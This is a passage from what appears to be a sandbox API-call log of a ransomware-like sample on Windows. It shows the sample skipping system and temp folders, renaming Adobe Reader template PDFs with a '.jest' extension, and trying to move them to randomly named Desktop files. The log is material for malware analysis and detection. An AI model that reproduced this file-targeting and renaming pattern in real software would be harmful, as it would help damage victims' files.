out: pvarResult=0x18ec9c) returned 0x0 [0156.196] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf.jest")) returned 1 [0156.197] GetLastError () returned 0x0 [0156.198] VarBstrFromR4 (in: fltIn=0x479452f2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.89") returned 0x0 [0156.199] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cgi1w-pXR6B_iG8-3E Q 0wgIRgm B0 V4diP2Xp238R4XVyV89fLt9QjcWjYrKi_xF2eznWLgPgfddVpTs5wc_zxmmVdYpU997zv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cgi1w-pxr6b_ig8-3e q 0wgirgm b0 v4dip2xp238r4xvyv89flt9qjcwjyrki_xf2eznwlgpgfddvpts5wc_zxmmvdypu997zv.tmp")) returned 0 [0156.199] GetLastError () returned 0x2 [0156.199] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf") returned 0x4c [0156.200] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.200] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf") returned 0x4c [0156.200] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.200] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf") returned 0x4c [0156.200] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.200] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf") returned 0x4c [0156.200] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.200] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf") returned 0x4c [0156.201] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.201] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf") returned 0x4c [0156.201] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.201] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.201] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.201] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.201] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.201] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.201] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf.jest")) returned 1 [0156.202] GetLastError () returned 0x0 [0156.203] VarBstrFromR4 (in: fltIn=0x479452f2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.89") returned 0x0 [0156.204] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sAF3XbUopzTUGtl2_zSEUT3t2vCrq4ZcxwcTR99wrdIj1a5utD9VC66EIg0RC7y8Gi3D4zWMipJVB9Z8aUXThf6lmqAa2W-Orfpmh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\saf3xbuopztugtl2_zseut3t2vcrq4zcxwctr99wrdij1a5utd9vc66eig0rc7y8gi3d4zwmipjvb9z8auxthf6lmqaa2w-orfpmh.tmp")) returned 0 [0156.204] GetLastError () returned 0x2 [0156.205] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf") returned 0x4e [0156.205] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.205] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf") returned 0x4e [0156.205] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.205] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf") returned 0x4e [0156.205] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.205] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf") returned 0x4e [0156.206] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.206] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf") returned 0x4e [0156.206] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.206] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf") returned 0x4e [0156.206] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.206] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.206] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.206] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.206] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.206] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.207] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf.jest")) returned 1 [0156.208] GetLastError () returned 0x0 [0156.208] VarBstrFromR4 (in: fltIn=0x479452f2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.89") returned 0x0 [0156.209] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\roOrZLRfPUP-Xw6wX4pxmJocryilkdZZxjB1DUleFXwg bOeX5twD YYs81xvXUu3_2RMPe97tLz3uJHthHheu91MqQDXlMf 5HEt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\roorzlrfpup-xw6wx4pxmjocryilkdzzxjb1dulefxwg boex5twd yys81xvxuu3_2rmpe97tlz3ujhthhheu91mqqdxlmf 5het.tmp")) returned 0 [0156.209] GetLastError () returned 0x2 [0156.210] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf") returned 0x4e [0156.210] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.210] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf") returned 0x4e [0156.210] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.210] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf") returned 0x4e [0156.210] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.210] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf") returned 0x4e [0156.210] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.211] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf") returned 0x4e [0156.211] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.211] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf") returned 0x4e [0156.211] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.211] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.211] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.211] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.211] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.211] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.212] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf.jest")) returned 1 [0156.213] GetLastError () returned 0x0 [0156.213] VarBstrFromR4 (in: fltIn=0x479452f4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.91") returned 0x0 [0156.214] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EWcsmybk317HdFPNw1Nsdllk3C4kN-h0MXukPdZjnpNymYBH7BDEx78rIxxNmiWA-kiwXSQckEgKyd5kCjoK7rGNh l-bzw64Ron.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ewcsmybk317hdfpnw1nsdllk3c4kn-h0mxukpdzjnpnymybh7bdex78rixxnmiwa-kiwxsqckegkyd5kcjok7rgnh l-bzw64ron.tmp")) returned 0 [0156.214] GetLastError () returned 0x2 [0156.215] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf") returned 0x4c [0156.215] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.215] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf") returned 0x4c [0156.215] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.215] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf") returned 0x4c [0156.215] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.215] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf") returned 0x4c [0156.215] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.215] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf") returned 0x4c [0156.216] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.216] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf") returned 0x4c [0156.216] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.216] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.216] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.216] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.216] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.216] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.216] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf.jest")) returned 1 [0156.217] GetLastError () returned 0x0 [0156.218] VarBstrFromR4 (in: fltIn=0x479452f4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.91") returned 0x0 [0156.219] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JFC7vlBO56UA1pzR3QgsBtNGVVSUTF9NwXH MOkGuaQZ OnGAm70voblJEiJ_lf-DwTox_oYJHqVDYY83pWfvxT8PFBNPUH4mV5m5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jfc7vlbo56ua1pzr3qgsbtngvvsutf9nwxh mokguaqz ongam70vobljeij_lf-dwtox_oyjhqvdyy83pwfvxt8pfbnpuh4mv5m5.tmp")) returned 0 [0156.219] GetLastError () returned 0x2 [0156.219] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf") returned 0x4e [0156.219] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.220] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf") returned 0x4e [0156.220] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.220] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf") returned 0x4e [0156.220] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.220] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf") returned 0x4e [0156.220] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.220] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf") returned 0x4e [0156.220] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.221] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf") returned 0x4e [0156.221] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.221] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.221] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.221] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.221] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.221] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.230] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf.jest")) returned 1 [0156.232] GetLastError () returned 0x0 [0156.232] VarBstrFromR4 (in: fltIn=0x479452f6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.92") returned 0x0 [0156.233] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MjhT6c4pL8fuFSbpJpertXtTd-wICSOfSPRqUp5oAlK9hH1SimDpSNlGAswA6 UFA65-F _lDTlhMeBnSmUDemkD27ZeRLSf-twu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mjht6c4pl8fufsbpjpertxttd-wicsofsprqup5oalk9hh1simdpsnlgaswa6 ufa65-f _ldtlhmebnsmudemkd27zerlsf-twu.tmp")) returned 0 [0156.234] GetLastError () returned 0x2 [0156.234] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf") returned 0x4c [0156.234] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.234] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf") returned 0x4c [0156.234] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.234] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf") returned 0x4c [0156.235] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.235] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf") returned 0x4c [0156.235] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.235] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf") returned 0x4c 